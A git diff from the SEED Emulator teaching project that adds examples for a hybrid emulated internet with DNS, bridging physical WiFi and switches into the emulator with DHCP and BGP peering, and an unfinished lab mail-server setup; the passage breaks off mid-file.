+ldns = DomainNameCachingService() +ldns.install('global-dns-1').addForwardZone('google.com.', 'ns-google-com').addForwardZone('twitter.com.', 'ns-twitter-com') +``` diff --git a/examples/C02-hybrid-internet-with-dns/hybrid-internet-with-dns.py b/examples/C02-hybrid-internet-with-dns/hybrid-internet-with-dns.py new file mode 100755 index 000000000..9eb9919e8 --- /dev/null +++ b/examples/C02-hybrid-internet-with-dns/hybrid-internet-with-dns.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu.core import Emulator, Binding, Filter, Action +from seedemu.mergers import DEFAULT_MERGERS +from seedemu.hooks import ResolvConfHook +from seedemu.compiler import Docker +from seedemu.services import DomainNameService, DomainNameCachingService, DomainNameCachingServer +from seedemu.layers import Base + +emuA = Emulator() +emuB = Emulator() + +# Load the pre-built components and merge them +emuA.load('../00-hybrid-internet/base-component.bin') +emuB.load('../01-hybrid-dns-component/hybrid-dns-component.bin') +emu = emuA.merge(emuB, DEFAULT_MERGERS) + + +##################################################################################### +# Bind the virtual nodes in the DNS infrastructure layer to physical nodes. +# Action.FIRST will look for the first acceptable node that satisfies the filter rule. +# There are several other filters types that are not shown in this example. + +emu.addBinding(Binding('a-root-server', filter=Filter(asn=171), action=Action.FIRST)) +emu.addBinding(Binding('ns-google-com', filter=Filter(asn=153), action=Action.FIRST)) +emu.addBinding(Binding('ns-twitter-com', filter=Filter(asn=161), action=Action.FIRST)) +##################################################################################### + +##################################################################################### +# Create a local DNS servers (virtual nodes). +# Add forward zone so that the DNS queries from emulator can be forwarded to the emulator's Nameserver not the real ones. +ldns = DomainNameCachingService() +ldns.install('global-dns-1').addForwardZone('google.com.', 'ns-google-com').addForwardZone('twitter.com.', 'ns-twitter-com') + +# Customize the display name (for visualization purpose) +emu.getVirtualNode('global-dns-1').setDisplayName('Global DNS-1') + +# Create a new host in AS-153, use it to host the local DNS server. +# We can also host it on an existing node. +base: Base = emu.getLayer('Base') +as153 = base.getAutonomousSystem(153) +as153.createHost('local-dns-1').joinNetwork('net0', address = '10.153.0.53') + +# Bind the Local DNS virtual nodes to physical nodes +emu.addBinding(Binding('global-dns-1', filter = Filter(asn=153, nodeName="local-dns-1"))) + +# Add 10.153.0.53 as the local DNS server for all the other nodes +base.setNameServers(['10.153.0.53']) + +# Add the ldns layer +emu.addLayer(ldns) + +# Dump to a file +emu.dump('hybrid_base_with_dns.bin') + + +############################################### +# Render the emulation and further customization +emu.render() + +############################################### +# Render the emulation + +emu.compile(Docker(), './output', override=True) + diff --git a/examples/C03-bring-your-own-internet/README.md b/examples/C03-bring-your-own-internet/README.md new file mode 100644 index 000000000..9fe2a4c8c --- /dev/null +++ b/examples/C03-bring-your-own-internet/README.md @@ -0,0 +1,273 @@ +# BYOI;Bring Your Own Internet +In this example, we show how the SEED Emulator to emulate the +Internet Service Provider that provides the Internet service +to home (such as Spectrum). The scenario is described in the +diagram as below. +![](pics/BYOI-1.jpg) + +## Tables + +### [1. Connecting Emulator to WiFi](#connecting-emulator-to-wifi) +#### [1.1 Single WiFi Access Point](#1-single-wifi-access-point) +#### [1.2 Multiple WiFi Access Points](#2-multiple-wifi-access-points) +### [2. Distributed Emulators(switch verstion)](#distributed-emulation-switch-version) + +## Connecting Emulator to WiFi +### (1) Single WiFi Access Point + +![](pics/BYOI-single-wifi.jpg) +- **Environment Requirements** + - OS : Ubuntu 20.04 + - USB to Ethernet Adapter (Optional); It is needed when Ubuntu running on a virtual machine. + - WiFi Access Point + - Model : UniFi AP-AC-Lite + - Switch + - Model : TL-SG108E + - 2 Ethernet cables + +**Step 1) Deploy a dhcp server** +``` +# Create a DHCP server (virtual node). +dhcp = DHCPService() + +# Default DhcpIpRange : x.x.x.101 ~ x.x.x.120 +# Set DhcpIpRange : x.x.x.125 ~ x.x.x.140 +dhcp.install('dhcp-01').setIpRange(125, 140) + +# Customize the display name (for visualization purpose) +emu.getVirtualNode('dhcp-01').setDisplayName('DHCP Server') + +# Create new host in AS-151, use it to host the DHCP server. +# We can also host it on an existing node. +as151 = base.getAutonomousSystem(151) +as151.createHost('dhcp-server').joinNetwork('net0') +``` + +**Step 2) Make the VM to use the physical NI directly (VirtualBox)** + +The Host's network interface which is bridged to the docker's bridge interface should be a physical one. When this project is set on a virtual machine environment, an usb to ethernet adapter is needed. When you bridge a virtual network interface created by virtual machine to the docker's bridge interface, the bridge between the virtual network interface and host's interface will be disconnected, which leads the link between the switch and the host to be disconnected. For this reason, when you run this project on a virtual machine, use an usb to ethernet adapter and make the virtual machine to use the physical ehthernet adapter directly. + +Please go through these steps to make the ethernet usb attach to the virtual machine on Virtualbox. + +- Install VirtualBox Extension Pack ; Without Extension Pack, VirtualBox only support USB 1.1 + - Download Extension Pack (https://www.virtualbox.org/wiki/Downloads) + - Install Extension + - *File -> Preferences -> Extensions -> Add New Packages -> Select the Package download from above* +- Set VM to use USB 3.0 Controller + - *VM -> Settings -> USB -> select USB 3.0* +- Set VM to use the USB to Ethernet Adapter +![](pics/vm-usb-connect.png) + + +**Step 3) Bridge Physical NIC to the Virtual Bridge NIC** + +Once the Host's network interface is bridged to the docker's bridge interface, DHCP server inside the emulator will assign the ip to the Wifi Accesspoint. Once you connect to the Wifi from the Phyisical Devices, the devices can connect (ping or visit webpages) to the hosts inside the emulators. + +- Find name of Physical NIC + - You can get the interface name through `ip -br addr | grep -vE 'veth|br'` command. +This command will show you network interfaces name without `veth` or `br`. +![](pics/diagram-2.jpg) + +- Bidge Physical NIC to the Virtual Bridge NIC; Use bridge.sh script + + ``` + usage: ./bridge.sh -i {interface} -a {ASN} + ``` + + In this example, the physical interface name that I use is `enx00e04cadd82a`. And the ASN that I use is 151 as I installed the dhcp server at asn-151. + So the command will be as below. + + ` ./bridge.sh -i enx00e04cadd82a -a 151` + +**Step 4) Link Physical NIC and WiFi Access Point to the Switch** +![](pics/diagram-3.jpg) + + +### (2) Multiple WiFi Access Points +![](pics/BYOI-multiple-wifis.jpg) + +- **Environment Requirements** + - OS : Ubuntu 20.04 + - USB to Ethernet Adapter (Optional); It is needed when Ubuntu running on a virtual machine. + - WiFi Access Point + - Model : UniFi AP-AC-Lite + - Switch + - Model : TL-SG108E + - 3 Ethernet cables + +**Step 1) Switch VLAN settings** + + VLAN Settings + - VLAN1 : port# 1,2,5,6,7,8 + - VLAN2 : port# 3,4,5 + - Port #5 : trunk port + + +1. Connect PC to Switch +2. Assign static ip 192.168.0.2 to the PC +3. Visit http://192.168.0.1 which is managment site that the switch hosts + - ID : admin + - Password : admin +![](pics/switch_login.png) +4. Configure 802.1Q VLAN +![](pics/switch-VLAN.png) +5. Configure 802.1Q PVID +![](pics/switch-pvid.png) + +**Step 2) WiFi Accesspoint settings** +1. Access to the management page + - refer : https://dl.ui.com/guides/UniFi/UniFi_Controller_V5_UG.pdf + +2. Configure VLAN : *Settings -> Networks -> create* +![](pics/wifi-vlan.png) + +3. Configure Access Point #1 using vlan1(default) : *Settings -> WiFi -> New WiFi* +![](pics/wifi-ssid-vlan1.png) + +1. Configure Access Point #2 using vlan2 : *Settings -> WiFi -> New WiFi* +![](pics/wifi-ssid-vlan2.png) + +**Step 3) Deploy DHCP servers** + +In this example, as151 and as161 are used to provide Internet service +to the Physical World. Therefore, DHCP service need to be installed +in as151 and as161. + +Refer to Step 1) from the previous example + +**Step 4) Connect two physical network cards to the VM** + +Refer to Step 2) from the previous example + +**Step 5) Bridge Physical NIC to the Virtual Bridge NIC** + +Refer to Step 3) from the previous example. + +**Step 6) Link Physical NIC and WiFi AccessPoint to the Switch** + +## Distributed Emulation (Switch Version) + Distributed Emulation allows students to join the emulation by connecting +their emulators together. In this example the emulator inside the Host#1 +exposes Internet Exchange 100 and 101. And Host#2 and Host#3 bridge to +ix100 and ix101 respectively. In order to make the emulator +inside the Host#2 bridge to the Host#1 emulator's ix100, Host#2 also +need to expose its ix100. Similarly, Host#2 emulator need to expose its +ix101 to bridge to the Host#1 emulator. + + Once Host#1 and #2 are bridged using the techniques learned from the preivous +examples, Subnet 10.100.0.0/24 from Host#1 and Host#2 are share the same LAN +through the switch. Further configuration is needed in order to make whole nodes +from each emulators connect, which is BGP peering settings. + +![](pics/peering_relationship.jpg) + +Please refer this for further information about Peer Relationship: +https://github.com/wonkr/seed-emulator/blob/development/docs/user_manual/bgp_peering.md + +![](pics/BYOI-switch.png) + +- **Environment Requirements** + - OS : Ubuntu 20.04 + - 4 USB to Ethernet Adapters + - Switch + - Model : TL-SG108E + - 4 Ethernet cables + +**BGP Peering** +||Host#1|Host#2|Host#3| +|ix100|AS2, AS3|AS5, AS6|| +|ix101|AS2, AS4||AS7, AS8| + +BGP Peering may differ depending on the business relationship. In this example, +AS2 and AS5 has Provider-Customer relation and AS3 and AS6 has Peer-Peer relation. + +**Peer Host#1 and Host#2** + +If AS2 and AS5 peered with Provider and Customer relation, AS5 can connect +to the whole prefixes from Host1. But AS2 only can connect to the downstream of AS5. +AS2 cannot ping to the nodes that use AS6. As AS3 and AS6 peered with peer +to peer relation, only downstream of AS3 from Host1 can connect to the downstream +of AS6 from Host2. + +Peer-1) AS2 - AS5 : Provider - Customer + +- Add protocol to /etc/bird/bird.conf at *10.100.0.2* & Run birdc configure +``` +protocol bgp c_as5 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(CUSTOMER_COMM); + bgp_local_pref = 30; + accept; + }; + export all; + next hop self; + }; + local 10.100.0.2 as 2; + neighbor 10.100.0.5 as 5; +} +``` + +- Add protocol to /etc/bird/bird.conf at *10.100.0.5* & Run birdc configure + +``` +protocol bgp u_as2 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PROVIDER_COMM); + bgp_local_pref = 10; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.100.0.5 as 5; + neighbor 10.100.0.2 as 2; +} +``` + +Peer-2) AS3 - AS6 : Peer - Peer +- Add protocol to /etc/bird/bird.conf at *10.100.0.3* & Run birdc configure +``` +protocol bgp p_as6 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PEER_COMM); + bgp_local_pref = 20; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + + local 10.100.0.3 as 3; + neighbor 10.100.0.6 as 6; +} +``` + +- Add protocol to /etc/bird/bird.conf at *10.100.0.6* & Run birdc configure + +``` +protocol bgp p_as3 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PEER_COMM); + bgp_local_pref = 20; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + + local 10.100.0.6 as 6; + neighbor 10.100.0.3 as 3; +} +``` + + + + diff --git a/examples/C03-bring-your-own-internet/bridge.sh b/examples/C03-bring-your-own-internet/bridge.sh new file mode 100755 index 000000000..3d23da06f --- /dev/null +++ b/examples/C03-bring-your-own-internet/bridge.sh @@ -0,0 +1,70 @@ +#!/bin/bash +############################################################ +# Help # +############################################################ +Help() +{ + # Display Help + echo "Add description of the script functions here." + echo + echo "Syntax: bridge.sh [-i|h|a]" + echo "example: bridge.sh -i eth0 -a 150" + echo "options:" + echo "i set physical interface name." + echo "a set asn where dhcp server installed." + echo "h Print this Help." + echo "" +} + +############################################################ +############################################################ +# Main program # +############################################################ +############################################################ +############################################################ +# Process the input options. Add options as needed. # +############################################################ +# Get the options +while getopts ":h:a:i:" option; do + case $option in + h) # display Help + Help + exit;; + a) # Enter an ASN + ASN=$OPTARG;; + i) # Enter an Physicial interface card name + iface=$OPTARG;; + \?) # Invalid option + echo "Error: Invalid option" + exit;; + esac +done + +if [ -z "$ASN" ] +then + echo "Error: option(-a) ASN needed" + exit +fi + +if [ -z "$iface" ] +then + echo "Error: option(-i) iface name needed" + exit +fi + +br=$(echo $(ip addr show to 10.$ASN.0.1) | cut -d ':' -f 2 ) + +if [ -z "$br" ] +then + echo "Error: Invalid ASN" +fi + +error=$(sudo ip link set $iface master $br 2>&1) + +if [ -z "$error" ] +then + echo "$iface is bridged to $br successfully" +else + echo $error +fi + diff --git a/examples/C03-bring-your-own-internet/bring-your-own-internet-clients.py b/examples/C03-bring-your-own-internet/bring-your-own-internet-clients.py new file mode 100644 index 000000000..e69de29bb diff --git a/examples/C03-bring-your-own-internet/bring-your-own-internet.py b/examples/C03-bring-your-own-internet/bring-your-own-internet.py new file mode 100755 index 000000000..203a16da8 --- /dev/null +++ b/examples/C03-bring-your-own-internet/bring-your-own-internet.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from ipaddress import ip_address +from seedemu import * + +emu = Emulator() + +# Load the pre-built component +emu.load('../02-hybrid-internet-with-dns/hybrid_base_with_dns.bin') + +base:Base = emu.getLayer('Base') + +# Create a DHCP server (virtual node). +dhcp = DHCPService() + +# Default DhcpIpRange : x.x.x.101 ~ x.x.x.120 +# Set DhcpIpRange : x.x.x.125 ~ x.x.x.140 +dhcp.install('dhcp-01').setIpRange(125, 140) +dhcp.install('dhcp-02').setIpRange(125, 140) + +# Customize the display name (for visualization purpose) +emu.getVirtualNode('dhcp-01').setDisplayName('DHCP Server 1') +emu.getVirtualNode('dhcp-02').setDisplayName('DHCP Server 2') + + +# Create new host in AS-151 and AS-161, use them to host the DHCP servers. +# We can also host it on an existing node. +as151 = base.getAutonomousSystem(151) +as151.createHost('dhcp-server-01').joinNetwork('net0') + +as161 = base.getAutonomousSystem(161) +as161.createHost('dhcp-server-02').joinNetwork('net0') + +# Create new host in AS-151, use it to host the Host which use dhcp instead of static ip +as151.createHost('dhcp-client').joinNetwork('net0', address = "dhcp") + +# Default HostIpRange : x.x.x.71 - x.x.x.99 +# Set HostIpRange : x.x.x.90 - x.x.x.99 +# We can also change DhcpIpRange and RouterIpRange with the same way. +as151.getNetwork('net0').setHostIpRange(90, 99, 1) + +# Bind the DHCP virtual node to the physical node. +emu.addBinding(Binding('dhcp-01', filter = Filter(asn=151, nodeName='dhcp-server-01'))) +emu.addBinding(Binding('dhcp-02', filter = Filter(asn=161, nodeName='dhcp-server-02'))) + +# Add the dhcp layer +emu.addLayer(dhcp) + +# Render the emulation +emu.render() + +# Compile the emulation +emu.compile(Docker(clientEnabled = True), './output', override=True) diff --git a/examples/C03-bring-your-own-internet/pics/BYOI-1.jpg b/examples/C03-bring-your-own-internet/pics/BYOI-1.jpg new file mode 100644 index 000000000..8cce74881 Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/BYOI-1.jpg differ diff --git a/examples/C03-bring-your-own-internet/pics/BYOI-docker-network.jpg b/examples/C03-bring-your-own-internet/pics/BYOI-docker-network.jpg new file mode 100644 index 000000000..66cf76664 Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/BYOI-docker-network.jpg differ diff --git a/examples/C03-bring-your-own-internet/pics/BYOI-multiple-wifis.jpg b/examples/C03-bring-your-own-internet/pics/BYOI-multiple-wifis.jpg new file mode 100644 index 000000000..964189ccf Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/BYOI-multiple-wifis.jpg differ diff --git a/examples/C03-bring-your-own-internet/pics/BYOI-single-wifi.jpg b/examples/C03-bring-your-own-internet/pics/BYOI-single-wifi.jpg new file mode 100644 index 000000000..1befdae43 Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/BYOI-single-wifi.jpg differ diff --git a/examples/C03-bring-your-own-internet/pics/BYOI-switch.jpg b/examples/C03-bring-your-own-internet/pics/BYOI-switch.jpg new file mode 100644 index 000000000..45f0bef18 Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/BYOI-switch.jpg differ diff --git a/examples/C03-bring-your-own-internet/pics/addForwardZone-1.png b/examples/C03-bring-your-own-internet/pics/addForwardZone-1.png new file mode 100644 index 000000000..f6ff97bff Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/addForwardZone-1.png differ diff --git a/examples/C03-bring-your-own-internet/pics/createRealWorldRouter-1.png b/examples/C03-bring-your-own-internet/pics/createRealWorldRouter-1.png new file mode 100644 index 000000000..04ad27fe1 Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/createRealWorldRouter-1.png differ diff --git a/examples/C03-bring-your-own-internet/pics/createRealWorldRouter-2.png b/examples/C03-bring-your-own-internet/pics/createRealWorldRouter-2.png new file mode 100644 index 000000000..173f44e86 Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/createRealWorldRouter-2.png differ diff --git a/examples/C03-bring-your-own-internet/pics/diagram-1.jpg b/examples/C03-bring-your-own-internet/pics/diagram-1.jpg new file mode 100644 index 000000000..fa41af056 Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/diagram-1.jpg differ diff --git a/examples/C03-bring-your-own-internet/pics/diagram-2.jpg b/examples/C03-bring-your-own-internet/pics/diagram-2.jpg new file mode 100644 index 000000000..674cf05b0 Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/diagram-2.jpg differ diff --git a/examples/C03-bring-your-own-internet/pics/diagram-3.jpg b/examples/C03-bring-your-own-internet/pics/diagram-3.jpg new file mode 100644 index 000000000..7e534d028 Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/diagram-3.jpg differ diff --git a/examples/C03-bring-your-own-internet/pics/peering_relationship.jpg b/examples/C03-bring-your-own-internet/pics/peering_relationship.jpg new file mode 100644 index 000000000..196444ff3 Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/peering_relationship.jpg differ diff --git a/examples/C03-bring-your-own-internet/pics/switch-VLAN.png b/examples/C03-bring-your-own-internet/pics/switch-VLAN.png new file mode 100644 index 000000000..b190f745e Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/switch-VLAN.png differ diff --git a/examples/C03-bring-your-own-internet/pics/switch-pvid.png b/examples/C03-bring-your-own-internet/pics/switch-pvid.png new file mode 100644 index 000000000..398b8d991 Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/switch-pvid.png differ diff --git a/examples/C03-bring-your-own-internet/pics/switch_login.png b/examples/C03-bring-your-own-internet/pics/switch_login.png new file mode 100644 index 000000000..963bb88ee Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/switch_login.png differ diff --git a/examples/C03-bring-your-own-internet/pics/vm-usb-connect.png b/examples/C03-bring-your-own-internet/pics/vm-usb-connect.png new file mode 100644 index 000000000..24c78f47a Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/vm-usb-connect.png differ diff --git a/examples/C03-bring-your-own-internet/pics/wifi-ssid-vlan1.png b/examples/C03-bring-your-own-internet/pics/wifi-ssid-vlan1.png new file mode 100644 index 000000000..463fb5ed4 Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/wifi-ssid-vlan1.png differ diff --git a/examples/C03-bring-your-own-internet/pics/wifi-ssid-vlan2.png b/examples/C03-bring-your-own-internet/pics/wifi-ssid-vlan2.png new file mode 100644 index 000000000..6fa278d4d Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/wifi-ssid-vlan2.png differ diff --git a/examples/C03-bring-your-own-internet/pics/wifi-vlan.png b/examples/C03-bring-your-own-internet/pics/wifi-vlan.png new file mode 100644 index 000000000..31c1b2562 Binary files /dev/null and b/examples/C03-bring-your-own-internet/pics/wifi-vlan.png differ diff --git a/examples/not-ready-examples/24-mail-server/mailserver.py b/examples/not-ready-examples/24-mail-server/mailserver.py new file mode 100644 index 000000000..cec76d709 --- /dev/null +++ b/examples/not-ready-examples/24-mail-server/mailserver.py @@ -0,0 +1,330 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu import * +import random +import os + +MailServerFileTemplates: Dict[str, str] = {} + +MailServerFileTemplates['mutt_rc'] = '''\ + +set from = "test@seedmail.edu" +set smtp_url="smtp://test@seedmail.edu:25" +set spoolfile="imap://test@seedmail.edu/INBOX" +set folder="imap://test@seedmail.edu" +set imap_authenticators="plain" + +''' + +MailServerFileTemplates['sendmail_mc'] = '''\ +divert(-1)dnl +#----------------------------------------------------------------------------- +# $Sendmail: debproto.mc,v 8.15.2 2020-03-08 00:39:49 cowboy Exp $ +# +# Copyright (c) 1998-2010 Richard Nelson. All Rights Reserved. +# +# cf/debian/sendmail.mc. Generated from sendmail.mc.in by configure. +# +# sendmail.mc prototype config file for building Sendmail 8.15.2 +# +# Note: the .in file supports 8.7.6 - 9.0.0, but the generated +# file is customized to the version noted above. +# +# This file is used to configure Sendmail for use with Debian systems. +# +# If you modify this file, you will have to regenerate /etc/mail/sendmail.cf +# by running this file through the m4 preprocessor via one of the following: +# * make (or make -C /etc/mail) +# * sendmailconfig +# * m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf +# The first two options are preferred as they will also update other files +# that depend upon the contents of this file. +# +# The best documentation for this .mc file is: +# /usr/share/doc/sendmail-doc/cf.README.gz +# +#----------------------------------------------------------------------------- +divert(0)dnl +# +# Copyright (c) 1998-2005 Richard Nelson. All Rights Reserved. +# +# This file is used to configure Sendmail for use with Debian systems. +# +define(`_USE_ETC_MAIL_')dnl +include(`/usr/share/sendmail/cf/m4/cf.m4')dnl +VERSIONID(`$Id: sendmail.mc, v 8.15.2-18 2020-03-08 00:39:49 cowboy Exp $') +OSTYPE(`debian')dnl +DOMAIN(`debian-mta')dnl +dnl # Items controlled by /etc/mail/sendmail.conf - DO NOT TOUCH HERE +undefine(`confHOST_STATUS_DIRECTORY')dnl #DAEMON_HOSTSTATS= +dnl # Items controlled by /etc/mail/sendmail.conf - DO NOT TOUCH HERE +dnl # +dnl # General defines +dnl # +dnl # SAFE_FILE_ENV: [undefined] If set, sendmail will do a chroot() +dnl # into this directory before writing files. +dnl # If *all* your user accounts are under /home then use that +dnl # instead - it will prevent any writes outside of /home ! +dnl # define(`confSAFE_FILE_ENV', `')dnl +dnl # +dnl # Daemon options - restrict to servicing LOCALHOST ONLY !!! +dnl # Remove `, Addr=' clauses to receive from any interface +dnl # If you want to support IPv6, switch the commented/uncommentd lines +dnl # +FEATURE(`no_default_msa')dnl +dnl DAEMON_OPTIONS(`Family=inet6, Name=MTA-v6, Port=smtp, Addr=::1')dnl +DAEMON_OPTIONS(`Family=inet, Name=MTA-v4, Port=smtp, Addr=0.0.0.0')dnl +dnl DAEMON_OPTIONS(`Family=inet6, Name=MSP-v6, Port=submission, M=Ea, Addr=::1')dnl +DAEMON_OPTIONS(`Family=inet, Name=MSP-v4, Port=submission, M=Ea, Addr=0.0.0.0')dnl +dnl # +dnl # Be somewhat anal in what we allow +define(`confPRIVACY_FLAGS',dnl +`needmailhelo,needexpnhelo,needvrfyhelo,restrictqrun,restrictexpand,nobodyreturn,authwarnings')dnl +dnl # +dnl # Define connection throttling and window length +define(`confCONNECTION_RATE_THROTTLE', `15')dnl +define(`confCONNECTION_RATE_WINDOW_SIZE',`10m')dnl +dnl # +dnl # Features +dnl # +dnl # use /etc/mail/local-host-names +FEATURE(`use_cw_file')dnl +dnl # +dnl # The access db is the basis for most of sendmail's checking +FEATURE(`access_db', , `skip')dnl +dnl # +dnl # The greet_pause feature stops some automail bots - but check the +dnl # provided access db for details on excluding localhosts... +FEATURE(`greet_pause', `1000')dnl 1 seconds +dnl # +dnl # Delay_checks allows sender<->recipient checking +FEATURE(`delay_checks', `friend', `n')dnl +dnl # +dnl # If we get too many bad recipients, slow things down... +define(`confBAD_RCPT_THROTTLE',`3')dnl +dnl # +dnl # Stop connections that overflow our concurrent and time connection rates +FEATURE(`conncontrol', `nodelay', `terminate')dnl +FEATURE(`ratecontrol', `nodelay', `terminate')dnl +dnl # +dnl # If you're on a dialup link, you should enable this - so sendmail +dnl # will not bring up the link (it will queue mail for later) +dnl define(`confCON_EXPENSIVE',`True')dnl +dnl # +dnl # Dialup/LAN connection overrides +dnl # +include(`/etc/mail/m4/dialup.m4')dnl +include(`/etc/mail/m4/provider.m4')dnl +dnl # +dnl # Default Mailer setup +MAILER_DEFINITIONS +MAILER(`local')dnl +MAILER(`smtp')dnl +''' + +MailServerFileTemplates['dovecot_auth_conf'] = '''\ +## +## Authentication processes +## + +# Disable LOGIN command and all other plaintext authentications unless +# SSL/TLS is used (LOGINDISABLED capability). Note that if the remote IP +# matches the local IP (ie. you're connecting from the same computer), the +# connection is considered secure and plaintext authentication is allowed. +# See also ssl=required setting. +disable_plaintext_auth = no + +# Authentication cache size (e.g. 10M). 0 means it's disabled. Note that +# bsdauth, PAM and vpopmail require cache_key to be set for caching to be used. +#auth_cache_size = 0 +# Time to live for cached data. After TTL expires the cached record is no +# longer used, *except* if the main database lookup returns internal failure. +# We also try to handle password changes automatically: If user's previous +# authentication was successful, but this one wasn't, the cache isn't used. +# For now this works only with plaintext authentication. +#auth_cache_ttl = 1 hour +# TTL for negative hits (user not found, password mismatch). +# 0 disables caching them completely. +#auth_cache_negative_ttl = 1 hour + +# Space separated list of realms for SASL authentication mechanisms that need +# them. You can leave it empty if you don't want to support multiple realms. +# Many clients simply use the first one listed here, so keep the default realm +# first. +#auth_realms = + +# Default realm/domain to use if none was specified. This is used for both +# SASL realms and appending @domain to username in plaintext logins. +#auth_default_realm = + +# List of allowed characters in username. If the user-given username contains +# a character not listed in here, the login automatically fails. This is just +# an extra check to make sure user can't exploit any potential quote escaping +# vulnerabilities with SQL/LDAP databases. If you want to allow all characters, +# set this value to empty. +#auth_username_chars = abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890.-_@ + +# Username character translations before it's looked up from databases. The +# value contains series of from -> to characters. For example "#@/@" means +# that '#' and '/' characters are translated to '@'. +#auth_username_translation = + +# Username formatting before it's looked up from databases. You can use +# the standard variables here, eg. %Lu would lowercase the username, %n would +# drop away the domain if it was given, or "%n-AT-%d" would change the '@' into +# "-AT-". This translation is done after auth_username_translation changes. +#auth_username_format = %Lu + +# If you want to allow master users to log in by specifying the master +# username within the normal username string (ie. not using SASL mechanism's +# support for it), you can specify the separator character here. The format +# is then . UW-IMAP uses "*" as the +# separator, so that could be a good choice. +#auth_master_user_separator = + +# Username to use for users logging in with ANONYMOUS SASL mechanism +#auth_anonymous_username = anonymous + +# Maximum number of dovecot-auth worker processes. They're used to execute +# blocking passdb and userdb queries (eg. MySQL and PAM). They're +# automatically created and destroyed as needed. +#auth_worker_max_count = 30 + +# Host name to use in GSSAPI principal names. The default is to use the +# name returned by gethostname(). Use "$ALL" (with quotes) to allow all keytab +# entries. +#auth_gssapi_hostname = + +# Kerberos keytab to use for the GSSAPI mechanism. Will use the system +# default (usually /etc/krb5.keytab) if not specified. You may need to change +# the auth service to run as root to be able to read this file. +#auth_krb5_keytab = + +# Do NTLM and GSS-SPNEGO authentication using Samba's winbind daemon and +# ntlm_auth helper. +#auth_use_winbind = no + +# Path for Samba's ntlm_auth helper binary. +#auth_winbind_helper_path = /usr/bin/ntlm_auth + +# Time to delay before replying to failed authentications. +#auth_failure_delay = 2 secs + +# Require a valid SSL client certificate or the authentication fails. +#auth_ssl_require_client_cert = no + +# Take the username from client's SSL certificate, using +# X509_NAME_get_text_by_NID() which returns the subject's DN's +# CommonName. +#auth_ssl_username_from_cert = no + +# Space separated list of wanted authentication mechanisms: +# plain login digest-md5 cram-md5 ntlm rpa apop anonymous gssapi otp skey +# gss-spnego +# NOTE: See also disable_plaintext_auth setting. +auth_mechanisms = plain login + +## +## Password and user databases +## + +# +# Password database is used to verify user's password (and nothing more). +# You can have multiple passdbs and userdbs. This is useful if you want to +# allow both system users (/etc/passwd) and virtual users to login without +# duplicating the system users into virtual database. +# +# +# +# User database specifies where mails are located and what user/group IDs +# own them. For single-UID configuration use "static" userdb. +# +# + +#!include auth-deny.conf.ext +#!include auth-master.conf.ext + +!include auth-system.conf.ext +#!include auth-sql.conf.ext +#!include auth-ldap.conf.ext +#!include auth-passwdfile.conf.ext +#!include auth-checkpassword.conf.ext +#!include auth-vpopmail.conf.ext +#!include auth-static.conf.ext +''' + +MailServerFileTemplates['dovecot_mail'] = '''\ +mail_location = mbox:~/mail:INBOX=/var/mail/%u +mail_access_groups = mail +lock_method = fcntl +''' + +emu = Emulator() + +# Load the base layer from the mini-internet-with-dns example +emu.load('../../B02-mini-internet-with-dns/base_with_dns.bin') + +base = emu.getLayer("Base") +##########################################1. Setting MailServer############################################### +# +# 1) Get as_162_webservice_0 node from the existing emu. +asn_162 = base.getAutonomousSystem(162) +web = asn_162.getHost('webservice_0') + +# 2) Set the server ip to static : 10.162.0.75 and displayname +web.updateNetwork('net0', address='10.162.0.75') +web.setDisplayName('seedmail_server') + +# 3) Install the needed software : sendmail, dovecot +web.addSoftware('sendmail dovecot-imapd dovecot-pop3d') + +# 4) Set configuration files to run sendmail(for smpt) and dovecote(for imap) +web.appendStartCommand('hostname seedmail.edu') +web.setFile('/etc/mail/sendmail.mc', MailServerFileTemplates['sendmail_mc']) +web.appendStartCommand('m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf') +web.appendStartCommand('echo "listen = 0.0.0.0, ::" >> /etc/dovecot/dovecot.conf') +web.setFile('/etc/dovecot/conf.d/10-auth.conf', MailServerFileTemplates['dovecot_auth_conf']) +web.setFile('/etc/dovecot/conf.d/10-mail.conf.add', MailServerFileTemplates['dovecot_mail']) +web.appendStartCommand('cat /etc/dovecot/conf.d/10-mail.conf.add >> /etc/dovecot/conf.d/10-mail.conf') + +# 5) Add user account test +web.appendStartCommand('useradd -m -g mail test && (echo "test:test" | chpasswd)') + +# **** We have a small issue at this point. when applying the sendmail configuration, nameserver is not set (on resolv.cof) it returns error. +# **** So we need to run "sendmailconfig" command manually when the dockers up. +web.appendStartCommand('echo "y" | sendmailconfig') + +# 6) Start service +web.appendStartCommand('/etc/init.d/sendmail restart') +web.appendStartCommand('/etc/init.d/dovecot restart') +############################################################################################################## + +####################### 2. Setting 